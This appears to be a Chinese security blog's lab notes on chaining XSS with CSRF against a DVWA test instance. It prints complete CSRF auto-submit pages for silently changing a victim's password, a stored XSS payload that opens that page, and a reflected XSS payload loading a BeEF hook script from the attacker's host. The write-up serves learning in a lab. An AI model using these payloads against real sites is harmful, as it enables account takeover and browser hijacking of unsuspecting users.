漏洞组合拳之XSS+CSRF记录
作者:Freebuf-TeamsSix
今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。
靶场环境
本机(Win):192.168.38.1
DVWA(Win):192.168.38.132
Beef(Kali):192.168.38.129
组合拳思路
第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)
第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)
【第一拳】存储型 XSS + CSRF
1、构造 POC
a、构造 CSRF 代码
这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。
继续来看,咱们需要首先为浏览器设置 8008 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.
这时先开启 CSRFTester 的流量记录功能。
开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。
之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的这里建议根据自己情况而定。
因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。
之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。
对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "42" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>
b、构造 XSS 代码
<script onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>
2、 开工
在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。
在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500.
点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.
访问页面后,浏览器会自动跳转,同时返回修改密码的界面
如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。
【第二拳】CSRF + SelfXSS
1、构造 POC
a、构造 XSS 代码
我这里使用 beef 作为 XSS 平台。
<script ></script>
b、构造 CSRF 代码
这里继续使用 CSRFTester 工具生成 CSRF POC。
具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "54" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/>
</form>
</body>
</html>
将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。
http://192.168.38.1/csrf.html
打开链接后,beef 中就能看到上线的主机了。
不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.
总结
暂时笔记就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。
历史文章推荐:
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽